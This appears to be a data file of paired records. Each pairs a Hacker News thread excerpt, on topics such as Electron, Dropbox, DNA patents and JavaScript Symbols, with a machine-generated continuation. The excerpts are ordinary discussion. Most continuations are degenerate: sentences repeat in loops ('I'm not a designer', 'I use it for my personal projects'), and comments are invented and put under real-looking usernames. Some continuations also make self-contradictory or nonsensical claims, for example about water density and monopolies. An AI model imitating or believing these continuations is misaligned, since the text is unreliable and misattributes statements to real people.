printer that has a \"printer cartridge\" slot. I bought a cartridge\nfrom Amazon, and it doesn't", "input_text": " the operating system for the problems. I\nspent many years on the Genius Bar (back in the PowerPC and early Intel days)\nand, in almost, every interaction, the device was to blame - as far as the\ncustomer was concerned. In some cases, they were right, in others it was due\nto outdated software, buggy third-party drivers or just something they bought\nthat was not Mac compatible. But as far as the customer was concerned, it\ndidn't work so therefore it was a problem with their computer.\n\nWhat has to be remembered is that the types of people who read Hacker News\nwould understand, in more detail, what might be causing the issue and know\ntroubleshooting is all part of the process. I bet printer companies get many\ncalls a day from people who bought third-party cartridges (sometimes without\nrealising) and complaining that their stupid printer isn't working and that it\nmust be the printer's fault.\n\nThe vast majority of consumers who would walk into an Apple Store or Best Buy\nto purchase something like this, they just think of it as one big ecosystem.\nIf it doesn't work with a bulb they bought off the internet, they will simply\nassume the product, as a whole, is terrible.\n\n~~~\ngmac\nOn the printer point, I once bought a 3rd-party cartridge for a Dell laser\nprinter that not only didn't work but actually broke the printer (it stopped\nrecognising all cartridges in that slot).\n\nThe first question they asked on the phone was whether I'd used a 3rd-party\ncartridge. I said yes.\n\nThe second question was where I'd like the free replacement printer delivered\n(now with added WiFi, and a full set of cartridges). Painful for Dell,"} +{"output_text": "\n\nI'm not saying that Google should not have fired Damore. I'm saying that\nGoogle's actions are unethical.\n\n~~~\nnezzle\nI think you are saying that Google should not have fired Damore.\n\n~~~\nmankash666\nI'm saying that Google's actions are unethical.\n\n------\nmankash666\nI'm not a Google employee, but I'm a Google user.\n\nI'm not a Google employee,", "input_text": " many hateful, vindictive people have settled into\npositions of power at one of the most powerful companies in the world.\n\n------\ngorbachev\nThe comments on that article remind me why I should never read comments on\nonline articles.\n\n------\njacksmith21006\nMaybe an unpopular view on HN but I have no problem with Google letting Damore\ngo.\n\nWork is to do work and in the US you often times do not even know who the\nperson one cube over voted for.\n\nDamore shared his views on Reddit without using Google name is fine but at\nwork and multiple times even after told to stop is going to be a problem, imo.\n\n~~~\nmankash666\nIf Google treated all poiltical discourse within it's walls like it did\nDamore, there probably wouldn't be an issue. The whole problem is with\nfavoring one type of speech/thought in a militant fashion that violates\nfederal law.\n\nAnd regardless of the law, it's UNETHICAL to discriminate in the name of\ndiversity. In 2018, companies are expected to do the right thing. This article\npaints a very damaging picture of Google discriminating against white males\n(Disclaimer: I'm NOT a white male)\n\n~~~\nnezzle\n> it's UNETHICAL to discriminate in the name of diversity.\n\nI think Amazon disagrees with you. They include this in their job postings:\n\n>Amazon is an Equal Opportunity-Affirmative Action Employer \u2013 Minority /\nFemale / Disability / Veteran / Gender Identity / Sexual Orientation.\n\nI don't think you can be both equal opportunity and affirmative action at the\nsame time.\n\n~~~\nmankash666\nYou've completely misunderstood & mis-represented my viewpoint."} +{"output_text": " to the open source community.\n\n~~~\nKliment\nI'm not sure what you mean by \"open source community\". The open source\ncommunity is not a patent-free zone.\n\n~~~\ndaughart\nI'm not sure what you mean by \"open source community\". The open source\ncommunity is not a patent-free zone.\n\n~~~\nKliment\nI'm not sure what you mean by \"open source community\". The open source\ncommunity is not a", "input_text": "Okay, today we're going to write DNA, it's sequence will be\nACGTTTGACGTACGTTCAGTG.....\" and we're going to mix our newly designed gene\ninto a larger natural DNA strand and this synthetic gene inside of the DNA\nwill make this tree glow a very slight yellow-tinge, then we're going to sell\nthat on kickstarter. [http://www.kickstarter.com/projects/antonyevans/glowing-\nplan...](http://www.kickstarter.com/projects/antonyevans/glowing-plants-\nnatural-lighting-with-no-electricit) (the only reason they're using a larger\nDNA strand is a full strand might cost in the range of $100b-$1t presently)\n\nThis is not the same as what's been done more frequently for the last long\nwhile which was dissecting existing genes from other DNA strands (lets say\ngene XYZ from a starfish) and introducing it into a bacteria.\n\nAlso, this doesn't mean I agree with the new law. I think this motion is even\n_more_ nonsensical than software patents we face today, and has already handed\noff all the wonderful innovations that the synthetic biology revolution has to\noffer to a nation who's pumping loads of cash into this sector: China.\n\n------\nshmerl\nIdiotic decision. DNA should not be patentable.\n\n~~~\ndaughart\nWhat if you engineer a completely novel protein, with novel regulatory\nsequences, for a novel function? Should you be unable to patent such an\ninvention?\n\n~~~\nKliment\nHonestly, no, it should not be patentable. This is entirely equivalent to a\nsoftware patent.\n\n~~~\ndaughart\nReally? Say goodbye"} +{"output_text": ". Then I had to wait another month to get a server. Then I\nhad to wait another month to get a domain name. Then I had to wait another\nmonth to get a domain name registrar. Then I had to wait another month to get\na hosting company. Then I had to wait another month to get a domain name\nregistrar. Then I had to wait another month to get a hosting company. Then I\nhad to wait another month to get a domain name", "input_text": "capital-firm-preview/)\n\n \n \n Two of the names that come up most often in \n connection with In-Q-Tel, however, need no \n introduction: Google and Facebook.\n \n The publicly available record on the Facebook/In-Q-Tel \n connection is tenuous. Facebook received $12.7 million \n in venture capital from Accel, whose manager, James \n Breyer, now sits on their board. He was formerly the \n chairman of the National Venture Capital Association, \n whose board included Gilman Louie, then the CEO of \n In-Q-Tel. The connection is indirect, but the \n suggestion of CIA involvement with Facebook, however \n tangential, is disturbing in the light of Facebook\u2019s \n history of violating the privacy of its users.\n \n Google\u2019s connection to In-Q-Tel is more \n straightforward, if officially denied. In 2006, \n ex-CIA officer Robert David Steele told Homeland \n Security Today that Google \u201chas been taking money \n and direction for elements of the US Intelligence \n Community, including the Office of Research and \n Development at the Central Intelligence Agency, \n In-Q-Tel, and in all probability, both the \n National Security Agency (NSA) and the Army\u2019s \n Intelligence and Security Command.\u201d Later that year, a \n blogger claimed that an official Google spokesman had \n denied the claims, but no official press statement was \n released.\n\n------\nbobjordan\nOne does not simply launch a website on a server inside of China. First, I had\nto wait about four months on a waitlist with AWS-China to get setup with an\nAWS-China account"} +{"output_text": "\n~~~\njlas\nI use it for my personal projects.\n\n------\njlas\nI use it for my personal projects.\n\n------\njlas\nI use it for my personal projects.\n\n------\njlas\nI use it for my personal projects.\n\n------\njlas\nI use it for my personal projects.\n\n------\njlas\nI use it for my personal projects.\n\n------\njlas\nI use it for", "input_text": " have used if not for the AT&T lawsuit, namely BSD, does not\ninclude Python in the base install. If Python were truly \"small\", I'd consider\nit for use in embedded systems.\n\n------\nocto_t\nfor old legacy systems, keeping /etc/ in RC is (and has been) a massive\ngodsend.\n\nIts nice to see a rarely used bit of software from 31 years ago still being\nmaintained.\n\n~~~\njlas\nNowadays I sometimes create a git repo in my /etc directory\n\n~~~\nGnewt\nI use etckeeper, which is basically the same thing except with some nice hooks\nlike auto-commit on apt-get install.\n\n~~~\nemillon\nAnd fixes the permissions. With /etc in git it becomes world-readable.\n\n~~~\nlallysingh\nA script that gets the current permissions for every file/dir and emits a\nchmod command for each one is pretty handy.\n\n------\ndavvid\nIf you find yourself versioning single files, and still want to use Git, you\nmay want to check out \"Zit, the Git-based single file content tracker\".\n\n[https://github.com/Oblomov/zit](https://github.com/Oblomov/zit)\n\n------\nvincie\nI use it extensively for any files I touch that I do not share with anyone\nelse, especially configuration files. Comes included in NetBSD, so no need to\ninstall anything else.\n\n------\narmy\nWe had to use RCS for university projects and submit the versioned files. It\nhas many shortcomings but the simplicity of it is nice for some purposes.\n\n------\njng\nPeople still use RCS?\n"} +{"output_text": " every other language has a way to define a property with a\nSymbol.\n\n~~~\nk__\nI think it's because of the way the language is designed.\n\nYou can't define a property with a Symbol, because it's not a property.\n\nYou can't define a property with a string, because it's not a property.\n\nYou can't define a property with a number, because it's not a property.\n\nYou can't define a property", "input_text": "2bf8d5394e6f995791a0](https://gist.github.com/yoshuawuyts/2bf8d5394e6f995791a0)\n\n------\nBinaryIdiot\nSymbols are odd. Maybe it's just me but they feel like they work \"funny\" in\nJavaScript.\n\nAs the article says you can't implicitly convert a symbol's description to\nstring. Symbol is now the only native object in JavaScript that has this\nbehavior.\n\nvar str = \"something\" \\+ \"str\"; // Works\n\nvar num = \"something\" \\+ 5; // Works\n\nvar func = \"something\" \\+ function () { }; // Works\n\nvar obj = \"something\" \\+ { some: \"test\" }; // Works\n\nvar bool = \"something\" \\+ true; // Works\n\nvar dt = \"something\" \\+ Date.now(); // Works\n\nvar und = \"something\" \\+ undefined; // Works\n\nvar nul = \"something\" \\+ null; // Works\n\nvar nan = \"something\" \\+ NaN; // Works\n\nvar sym = \"something\" \\+ Symbol(\"test\"); // Throws TypeError\n\nAnother thing, which is more of a style thing in my opinion, is you can\nactually define a property with a Symbol which just seems awkward to me. I\nmean sure you can use it as a property by design so why wouldn't you be able\nto use defineProperty? I always felt those should be public types of\nproperties where you can add additional logic where necessary.\n\nvar obj = { };\n\nObject.defineProperty(obj, Symbol(\"MyProp\"), {\n\n \n \n get: function () { return 15; } \n \n\n});\n\nI feel like almost"} +{"output_text": "\nmicrophone for my iPhone for $10, and it's been great.\n\n------\njedberg\nI'm not sure why this is a surprise. Amazon is a monopoly. They have a\nmonopoly on shipping. They have a monopoly on selling things. They have a\nmonopoly on selling things online.\n\nThey have a monopoly on selling things online.\n\n~~~\njedberg\nI'm not sure why this is a surprise. Amazon is a monopoly", "input_text": " small business alike:\n\n\\+ bought a baking steel direct from the seller (shipping time ~5 days vs. 1\nmonth+, so I canceled the amazon order)\n\n\\+ monitor out of stock for over a week on amazon (in stock at bnh, shipping\ntime ~4 days)\n\n\\+ monitor arm I didn\u2019t even bother looking at on amazon (shipping time direct\nfrom seller ~2 days)\n\n~~~\nchrisweekly\nbnh?\n\n~~~\nArcsech\n[https://www.bhphotovideo.com/](https://www.bhphotovideo.com/) presumably.\nI've ordered some things from there, and generally had a good experience, with\na few notes:\n\n\\- For large purchases at least, they are very scrupulous about sending tax\ndocuments to your home state to make sure the sales tax gets paid. This is\nprobably a social good overall, but unusual for internet retailers and may\ntake some folks by surprise.\n\n\\- They follow a Jewish holiday schedule, including the Sabbath, and do not\ntake orders on the Sabbath (in New York's time zone, at least). Again, not a\nnegative, but unusual for modern businesses, especially online ones.\n\n~~~\nghaff\nLast time I ordered from them, I think they collected the sales tax. I'm not\nsure when this started; I am a long-time customer but they're not a store I\ntend to purchase from frequently.\n\nI like them overall and I tend to prefer using them to Amazon for AV type of\npurchases.\n\n~~~\nhsitz\nDoesn't just about everywhere collect sales tax online now?\n\nBHPhotoVideo is my go-to place for tech and music stuff. I got their"} +{"output_text": "\nhigher prices.\n\n~~~\nmbrumlow\nI don't think they do. I think they just don't want to see the truth.\n\n------\njedberg\nI think the problem is that the city is not building enough housing.\n\nI think the city should build more housing, but I also think that the city\nshould build more housing that is affordable to people who are not tech\nworkers.\n\nI think the city should build more housing that", "input_text": "OH get paid\nmore to begin with? is it just that minimum wage plus tips is already way more\nthan the cook gets paid?\n\nI don't disagree with your core claim that cooks are more valuable.\nanecdotally, when I worked at a takeout pizza place the main pizza guy got\npaid about twice what we made in the front, even including tips.\n\n------\nnewshorts\nIs no one considering the impact of foreign investment on housing and\nsunbsequently rent prices? Sure tech workers play a part, but they often pay a\nbetter part of their salary to the land owners who are more frequently likely\nto be foreign investors\n\n------\nJshWright\nA little off topic, but the idea of a \"celebrated\" pizza shop in SF strikes me\nas a little funny... I try a different pizza place every time I'm there, and\nI've yet to not be disappointed.\n\n~~~\ngamma-male\nYup. But I would say that pizza in the US is disapointing in general if you\nknow italian pizza.\n\n------\nmbrumlow\nYou can't have it both ways. Either change the city and build upwards or stop\ncomplaining about the price of living.\n\nThe notion that a city should not change and keep it's \"feel\" across sunch\nlong times is backwards thinking. Cities grow.\n\nI say this because the same people who want lower rents seem to also vote down\nbig new apartments because it will ruin the atmosphere. But I can't for the\nlife of me understand why anybody would want to preserve the current\natmosphere. The one you think you are defending is long gone.\n\n~~~\nhrdwdmrbl\nThey literally don't see how they constrain supply and how that leads to"} +{"output_text": " I'm not going to be the only one selling this.

- I'm not going to be the only one selling this.

I'm not going to be the only one selling this. I'm not going to be the only one selling this. I'm not going to be the only one selling this. I'm not going to be the only one selling this.", "input_text": " then\nyes, this is an act of faith as well.\n\nBut \"weak\" atheism is merely a rejection of theism. It is not a proposed\nhypothesis, but a rebuke of unsupported hypotheses.\n\n~~~\nlst\nSorry, but this is already sophistication (in the archaic sense).\n\nAll things that happen _must_ have a cause.\n\nEven Big Bang had its Cause. And since the exact definition of God is: \"The\nonly one not caused by anything, but simply 'cause' of Itself\", there's no\nescape here...\n\n \nAsk HN: Organizations keep trying to give me money for a thing I made - rianjs\ntl;dr- How do you engage with VARs in a way that will get their attention?

In the last two years, several organizations has asked to license a medical spell check dictionary that I made years ago. After exchanging emails, I lost two of those, because I priced my product too high, and the third I landed (Indiana University School of Medicine), but I charged too little. (I'm OK with this, because it helps with credibility.)

I've got my pricing hammered out now, and I have a designer working on a home page, which should make it easy for individuals to buy. It comes with a real installer and works with Chrome, Firefox, and Windows & Office in a way that would be difficult to do by hand, and in a way that the competitors don't (despite their WAY higher prices).

- Much more competitive pricing

- Updates at a regular cadence with discounted yearly contract pricing. (= recurring revenue for me)

- Existing penetration is very high (tens of thousands of downloads), and"} +{"output_text": " it is denser than\n> water.\n\nI'm not sure I understand this. I thought that water is a liquid because it\nhas a lower density than ice.\n\n~~~\njessriedel\nWater is a liquid because it has a lower surface tension than ice.\n\n~~~\ncoryfklein\nI'm not sure I understand this either. I thought that surface tension was\nrelated to the cohesion of molecules.\n\n~~~\njessried", "input_text": " come up with, we still couldn't ship enough to Mars for it\nto matter.\n\nNo, the only payload that could conceivably be harmful is one that can self-\nreplicate, which at this juncture means life. (Ask again in a hundred years.)\n\n------\nleonardzen\nWouldn't it be bad if life forms are found in Mars, according to this?\n[http://waitbutwhy.com/2014/05/fermi-\nparadox.html](http://waitbutwhy.com/2014/05/fermi-paradox.html)\n\n~~~\nNhanH\nSpeaking in Bayesian probability, it's bad if life forms found on Mars are\nmore advanced than human, and good if it's much less advanced, or even very\nprimitive (as it means the Great Filter might be at an earlier stage than us\nright now).\n\nAnd it won't be the former case, for obvious reason.\n\n~~~\nthaumaturgy\nFinding life on Mars would still change one of the polynomials of the Drake\nEquation, which would shift upward the overall expected probability for\nintelligent life in the cosmos, which is probably what leonardzen means.\n\nBut \"we don't have enough data yet\" still seems like a good answer to the\nFermi Paradox anyway.\n\n~~~\nhanspeter\nIt would shift upward the overall expected probability for intelligent life at\n_our level_. However, since we have no evidence of life beyond our level of\nintelligence, it also increases the probability that civilizations will not\nsurvive long enough to become much more advanced than our civilization.\n\n------\ncoryfklein\n> For the water to be liquid, it must be so salty that"} +{"output_text": " as helpful as\nexpressing your own grief.\n\n~~~\njlgreco\nI think the point is that Atwood is not a person who wishes to judge Aaron.\n\n~~~\nVikingCoder\nI think you're being overly harsh in your post.\n\nI think you should express your own grief (and outrage) in your own way.\nPointing fingers at others who are grieving isn't nearly as helpful as\nexpressing your own grief.\n\nI", "input_text": " means that\nfighting for our freedom is hard, and thus activists must, in order to have\nany chance of producing change, be prepared for the worst, in some form of\nself sacrifice.\n\nAtwood is saying (I feel erroneously) that Swartz came so close to creating a\nchange, but gave it all away when he \"ragequit\".\n\nThe point is, what happened happened, and I hope we never have to have a \"next\ntime\", but I'll bet that if there is a next time, it will play out _very_\ndifferently, and for the better, _thanks to Swartz_.\n\n------\ntzs\n> 22 January 2013\n\n?\n\nWhy wasn't this submitted last month, when Atwood's post was being discussed?\nIt seems odd to submit it nearly a month after discussion of that has pretty\nmuch ended.\n\n------\nVikingCoder\n\"I say this not as a person who wishes to judge Aaron Swartz. I say it as a\nfellow gamer who has also considered playing the same move quite recently. To\nthe point that I \u2013 like Aaron himself, I am sure \u2013 was actively researching\nit.\"\n\nAtwood is saying that he's considered suicide - recently, and that he doesn't\nwant to judge Aaron. Most importantly, he's grieving, and different people\ngrieve in different ways.\n\nI think you're being overly harsh in your post. Especially since you have two\nmessages for Jeff: stick to code; alter your message. Which would you prefer?\nEither way, you're judging his grieving process, which I think is unfair.\n\nI think you should express your own grief (and outrage) in your own way.\nPointing fingers at others who are grieving isn't nearly"} +{"output_text": ":

1) I'm not a designer. I'm a programmer. I'm not a designer. I'm not a designer. I'm not a designer. I'm not a designer. I'm not a designer. I'm not a designer. I'm not a designer. I'm not a designer. I'm not a designer. I'm not a designer. I'm not a designer. I'm not a designer. I'm not a designer. I'm not a designer", "input_text": "://www.lofi.rocks/\n======\ndvt\nHi HN, a few weeks ago I made a \"replacement\" for the Spotify desktop app\nbecause I wanted a tiny player instead of a whole window I need to bring up to\nskip songs/etc. It's free & open source, works on Windows and MacOS and even\nhas visualizations (remember those?). Anyway, I thought I'd share it here. Any\nfeedback is welcome.\n\nDownload it by going here: [http://www.lofi.rocks/](http://www.lofi.rocks/)\n\nMIT-licensed source code here:\n[https://github.com/dvx/lofi](https://github.com/dvx/lofi)\n\n------\nnew_guy\nSpotify has revenue in the billions each year. And while this is a nice bit of\ncode and obviously scratches your itch, don't you feel maybe a bit silly doing\ntheir work for free?\n\n------\nnewsbinator\n> \"Lofi is light-weight and runs on less than 100MB of RAM.\"\n\nAh, when I first started programming this would have been tongue in cheek. But\ntimes change!\n\n \n\nAsk HN: 3 months in - where should I take this project? - bazookaBen\n\nA few months ago I made a prototype HTML5 game called Private Joe. Got tons of great feedback from HN.

I just released a radically improved facebook version of the game at http://bit.ly/rhoHkH. It has everything set up, social elements, invite system, leaderboard, store, etc.

My question is, how do I get to the next level?

Some major barriers that I'm facing"} +{"output_text": "I think the author is missing the point.\n\nElectron is not the problem. The problem is that Electron is a terrible\nsolution to the problem of building cross-platform desktop applications.\n\nThe author is right that Electron is not the problem. The problem is that\nElectron is a terrible solution to the problem of building cross-platform\ndesktop applications.\n\n~~~\n_bxg1\nI think you're missing the point.\n\nElectron is not the problem", "input_text": "boring and just entirely functional. And that is what techies actually use.\n\n------\n_bxg1\nI think the vitriol against JavaScript is unfair, but I absolutely agree that\nif native cross-platform desktop development weren't so horrendous, many\nthings that currently use Electron, wouldn't. The web's main draw these days\nis that it's a free, cross-platform GUI platform that sees _active development\nand community support_. That's the bar.\n\nAll of that said - and I've said this elsewhere before - _JavaScript is not\nthe problem with Electron._ I'm so weary of hearing this. Even the web is not\nreally the problem with Electron. Electron's problem is that there's no way to\nshare Chromium instances across installations or processes. _That's it_.\n\n~~~\ngiulianob\nIt's both. Go look at your memory usage per tab and it's not uncommon to see\nhundreds of megabytes for a simple static 2d UI. The way web renders is\nextremely inefficient then you couple that with a language that has no regards\nfor how a computer actually works and you get to the sad state we're in today.\n\n~~~\n_bxg1\n> hundreds of megabytes for a simple static 2d UI\n\nWithout a specific example that's hard to argue against, but I would wager it\nhas more to do with images, unnecessarily complex DOM, and possibly just poor\nengineering, as opposed to JavaScript itself.\n\n> that has no regards for how a computer actually works\n\nYou mean like Python? And Lisp? If you're taking issue with the very concept\nof high-level languages then state it as such, and good luck making a case for\nthat.\n\n------\ngiulianob\n"} +{"output_text": " say they're doing a lot\nof things well.\n\n------\njedberg\nI've been using WSL for a few months now and I love it. I've been using it for\nmy personal projects and for work.\n\nI've been using it for a few months now and I love it. I've been using it for\nmy personal projects and for work.\n\n------\njedberg\nI've been using WSL for a few months now and", "input_text": " linux because it failed to beat Linux with FUD etc.\n\nMicrosoft to me is the cancer to the OSS, why not just admit that you had\nnever, and will never love Linux, you are simply doing all these for financial\npurposes solely, which is totally fine --- just don't ruin the \"love\" word,\nit's so awkward.\n\nLife is too short to be cheated multiple times, I will never trust Microsoft\nsince I switched to linux fully 15 years ago.\n\n------\nrcarmo\nI\u2019m going to add a data point here: I work at Microsoft and my primary e-mail\nclient is... Firefox. The Outlook web UI is so good these days that the UX for\nmail, viewing attachments and booking meetings is much, much better than the\nnative app (which I only use for ensuring I have an offline database when\ntraveling).\n\nAnd yeah, I use WSL extensively, and work from a Mac at home. There is a lot\nmore to the story than the article covers.\n\n------\n29athrowaway\nUse SoftMaker FreeOffice, or SoftMaker Office. It is a pretty nice and\nperformant replacement for MS Office.\n\n~~~\nhamsapelea\nGoogle docs works like a charm\n\n------\nxenorplxx\nHm. MS started to support React, especially React Native project lately with\ntheir react-native-windows and AppCenter, but I honestly have no idea why\nwould they do that instead of going with something like Electron, since they\nstarted to invest in Chromium and V8 anyway.\n\n~~~\ntracker1\nThey've done a lot with Electron as well... Github now being a subsidiary of\nMS. VS Code is really nice, and Teams is decent. I'd"} +{"output_text": " lyrics that are often quite dark.\n\n------\njames_pm\nI'm not sure I understand the point of this article. The algorithm is\npredicting the sentiment of a song based on the lyrics. The lyrics are\nbasically just a list of words.\n\n~~~\ndang\nIt's a good question. I think the point is that the algorithm is not\npredicting the sentiment of a song based on the lyrics. It's predicting the\nsentiment of", "input_text": " and hurts like hell everytime I play it,\nlooking out at thousands of people cheering and smiling, oblivious to the\ntragedy of it\u2019s meaning, like when you\u2019re going to have your dog put down and\nit\u2019s wagging it\u2019s tail on the way there. That\u2019s what they all look like, and\nit breaks my heart.\u201d\n\n------\nzackkatz\nI vote for the happiest song being Anyone Can Play Guitar from Pablo Honey. It\nis hopeful and encouraging. It speaks of life goals achieved.\n\nThis article demonstrates how far AI has to go.\n\n[https://m.youtube.com/watch?v=GIWwfWaWuaE](https://m.youtube.com/watch?v=GIWwfWaWuaE)\n\n~~~\nJauntTrooper\nGood choice! I've also always thought 'Lift' felt happy.\n\n------\nTheRealDunkirk\nIf the winning song wasn't written in D-minor, the algorithm will need further\ntuning.\n\n------\nrodionos\n\n > and then used the tidytext package to break the lyrics into words, \n > eliminate common \"stop words\" like 'the' and 'a', \n > and count the number with negative sentiment\n \n\nIs 'not' a \"stop word\"? How did it count negations after \"stop words\" removed,\ni.e. \"I am not forgotten\". Positive, negative?\n\n~~~\nellisv\n\"not\" is a stop word. I don't see an attempt to negate the word sentiments.\n\n------\nmpettitt\nWould be interesting to see how it handled REM or Dubstar, both of whom have\nsome really upbeat tunes, with"} +{"output_text": " you're trying to do too much.\n\nI would suggest you focus on one thing at a time.\n\n1\\. Build a product.\n\n2\\. Get users.\n\n3\\. Get users to pay.\n\n4\\. Get users to pay to get more users.\n\n5\\. Get users to pay to get more users.\n\n6\\. Get users to pay to get more users.\n\n7\\. Get users to pay to get more users.\n\n", "input_text": "\ncan, save your money, and think a lot. When you have the resources then start\na bootstrapped business and never look back.\n\n~~~\nbrokenhope\nI was thinking YC is for what you just explained in second paragraph. I do\nremember the SV scene where guy says \"i can not guide you unless you give me\nsomething to guide\" May be this startup world is a big lie!\n\n~~~\ndanieltillett\nYC sells itself as an accelerator, not as a lottery.\n\nOne of the big changes that have happened over the last few years is that the\nresources you need to start a tech business is much reduced to the point that\none skilled person with relatively modest savings can start and build a\nserious business. Get on with acquiring the skills and resources you need to\nstart without needing outside investors.\n\n~~~\nbrokenhope\nI do wish application reflects being accelerator by filtering people in the\nbeginning who needs incubation. I wish there is a quick and easy way of\nbootstrapping the network and connections for a successful exit.\n\n~~~\nbrokenhope\nWould love to hear more about your experience and what was the top 3 do and\ndont that you can share\n\n~~~\ndanieltillett\nHave a read of this post on my blog\n\n[http://www.tillett.info/2015/06/24/why-i-kept-my-startup-\nin-...](http://www.tillett.info/2015/06/24/why-i-kept-my-startup-in-australia-\nand-why-it-was-crazy/)\n\n------\ndenismars\nLike all things in startup life - nothing is easy, everything is hard. To me\nit sounds like"} +{"output_text": "* _Automate and manage deployments._ Automate deployments to AWS, and manage the lifecycle of our infrastructure.\n\n* _Build and maintain tools._ Build tools to automate our deployments, and manage our infrastructure.\n\n* _Build and maintain our release management system._ Build and maintain our release management system, which is used to deploy our code to production.\n\n* _Build and maintain our continuous integration system._ Build and maintain our continuous integration system, which is", "input_text": " in a Linux based embedded\nsystem.\n\n\u2022 Excellent verbal and written communication skills in English.\n\n\u2022 Experience from software security related technologies, for example:\n\n\u2022 Trusted Execution Environment\n\n\u2022 Hardware virtualization, including Hypervisor technology\n\n\u2022 Certificate / Key management\n\n\u2022 Mandatory Access Control (SELinux, AppArmor or similar)\n\nFor all the details and the link to apply:\n\n[http://www.bosch-\ncareer.com/media/nc/documents_master_3/appl...](http://www.bosch-\ncareer.com/media/nc/documents_master_3/applying_documents_master_3/Trusted_Execution_Environment.pdf)\n\n------\nroablep\nEmogi | Infrastructure Engineer | New York City (NYC) | Full Time\n\nWe\u2019re a consumer-first data and content company that helps people find and\nshare innovative and useful content in their messaging experiences. Our\nproducts, the Emogi Conversation Graph and Emogi Content Studio, let messaging\napps build deeper engagement with their users, and brands connect with\naudiences.\n\nI'm looking for an experienced infrastructure engineer to help scale\ninfrastructure and mature our release management - a hybrid role that's part\nTech Ops, part DevOps, part QA automation. It's perfect for someone who wants\nto grow their skillset in new disciplines.\n\nYou can expect to:\n\n* _Build, Provision, and Operate Infrastructure._ Use Chef and AWS OpsWorks to manage configurations. We may evolve into a hybrid cloud.\n\n* _Own deployment workflows._ Build workflows from the time the source code is written 'till it is delivered. We use Jenkins CI and AWS CodeDeploy\n\n"} +{"output_text": " years before they had anything to show.\n\nI'm not saying Dropbox is a bad idea. I'm just saying that it's not a\ntechnology that's going to be adopted by the masses. It's a technology that\nwill be adopted by the nerds, and the nerds are not the masses.\n\n~~~\njoshu\nI think you're right. I think the real problem is that Dropbox is a\n_business_ , and the business is not", "input_text": ", dropping vowels and slapping the term 'beta' on everything. The\nweb is cyclical and this is the latest cycle.\n\nWhile that in and of itself isn't BAD per se, it's a phrase that's come\nsynonymous with \"rockstar\" and \"ninja\" when talking about hiring developers. A\ntotal and complete non sequitur.\n\n------\nSwellJoe\nI've been shocked at how often I see the Dropbox icon on friend's systems. I\nno longer live in silicon valley, and so I am completely out of the echo\nchamber (except what I read here at HN). These are not nerds, not techies, and\nnot people who follow TechCrunch. These are artists, musicians, old folks,\nnomads, and all sorts of folks that just don't do technology. But, they get\nDropbox. Admittedly, my parents aren't using Dropbox, but my parents don't\nread CNN.com, either, and I can't imagine what they would even use Dropbox\nfor. I can't even get them to use flickr for photos, despite buying them a\ndigital camera (my mom still uses a film camera when she travels because she's\nafraid she'll lose or break the digital one).\n\nIf I could invest in Dropbox, I would. But, that wasn't always true. I met\nDrew at a YC party before they had anything to show, and were still figuring\nout the diffing/versioning problems, and all the underlying hard problems.\nAnd, I came away thinking, \"Well, that's been done before. A lot. And it never\nwent anywhere.\" I had even built a little web-based file manager and sharing\napp as a RoR practice app, a couple"} +{"output_text": " was found that the rifle was prone to jamming.\n\n~~~\nstcredzero\n_Another example is when the M16 rifle was first introduced in the Vietnam\nWar, it was found that the rifle was prone to jamming._\n\nI think that's a good example of the \"weapons are too complex to be\nunderstood\" problem.\n\n------\njedberg\nI'm not sure how much of this is true. I've heard that the Polaris", "input_text": "E)\n\nIn fact the Germans had been working quite seriously on guided surface-to-air\nmissiles during WWII:\n[https://www.youtube.com/watch?v=Cx_lsh0BJGs](https://www.youtube.com/watch?v=Cx_lsh0BJGs)\n[https://www.youtube.com/watch?v=B7Q92V5hK-c](https://www.youtube.com/watch?v=B7Q92V5hK-c)\n\n------\nstcredzero\n_WASHINGTON, Dec. 1 \u2014 The Department of Energy said tonight that approximately\nthree\u2010quarters of the A\u20101 model Polaris nuclear warheads deployed on\nsubmarines in the mid\u20101960's were probably \u201cduds\u201d because of mechanical\ndefects._\n\n[https://www.nytimes.com/1978/12/02/archives/early-polaris-\nmi...](https://www.nytimes.com/1978/12/02/archives/early-polaris-missile-had-\ndefects-scientists-at-government-labs.html)\n\nTo be fair, the Japanese had really good torpedos at the start of WWII, but\nthere were other things which were just as unproven and wonky. For one, the\nproposed tactic of letting battleship shells fall short, to target enemy ships\nunderwater, was pretty much useless.\n\n(Come to think of it, the initial performance of Sidewinder missiles in\nVietnam was another example of this sort of military equipment failure.)\n\n~~~\nSmoosh\nAnother example is when the M16 rifle was first introduced in the Vietnam War,\nit"} +{"output_text": " seeing teams that are more document-\noriented, and less document-oriented. They tend to use class names that are\nmore descriptive of the content they're styling, and less descriptive of the\npresentation. This is because they're more concerned with the content, and\nless concerned with the presentation.\n\nI think this is a good thing. It's a sign that we're moving away from the\ndocument-oriented way of working, and towards the presentation-oriented way of\nworking", "input_text": " with because the designers could quickly dig into the styles to make\ntweaks in a central location (single source of truth) without rummaging\nthrough our entire codebase to modify appearances of things (separation of\nconcerns).\n\nWhen I first discovered csszengarden.com, I realized the point of CSS and its\npower. HTML was made for hypertext and semantic content structure and CSS was\nmade for appearances. Either one could be completely replaced partially or\nwholly, separate of each other. Classes are like interfaces[0] which allows\nfor HTML to remain dumb and decoupled from presentation. When the HTML and CSS\nare hardcoded to specific design concepts themselves, then the usefulness of\nCSS as in \"cascading style sheets\" is nearly eliminated. These concepts aren't\na fad, this is good software architecture brought to you by an international\nconsortium who's been thinking about it for decades.\n\n0\\.\n[https://en.wikipedia.org/wiki/Dependency_inversion_principle](https://en.wikipedia.org/wiki/Dependency_inversion_principle)\n\n~~~\nandrewingram\nThere's flaw in reasoning here, but I'm glad we're at least focusing on the\nmaintainability arguments.\n\nUltimately it comes down to how your CSS is authored, and how your teams\nworks. If you develop in a heavily document-oriented way, and make big use of\nthe cascade, you're most likely to benefit from semantic (rather than\npresentational) class names. This is because when you make full use of the\ncascade, markup changes tend to be more expensive (you can't just move a block\nof HTML from one place to another and not expect its appearance to change).\n\nThese days though, we're increasingly"} +{"output_text": "\nyears ago, I was never able to drink again. I was never able to drink\nalcohol, and I was never able to drink anything else. I was never able to\ndrink anything else. I was never able to drink anything else. I was never\nable to drink anything else. I was never able to drink anything else. I was\nnever able to drink anything else. I was never able to drink anything else.\nI was never able to drink anything else.", "input_text": " a budget for drinking. Nothing caps it like limiting the amount that\nyou can spend on it. 2\\. Have your socializing focus on activities as opposed\nto drinking. E.G. If you are bowling you'll be more focused on the game and\nthan you are on the drinking. 3\\. Drink a glass of water in between each\ndrink. Double bonus for reducing hangover effects 4\\. Buy a breathalizer. Yep!\nA weird one but you can keep the BAC below the driving limit and you'll be\npleasantly surprised. 5\\. Change locations often, and walk in between\nlocations. 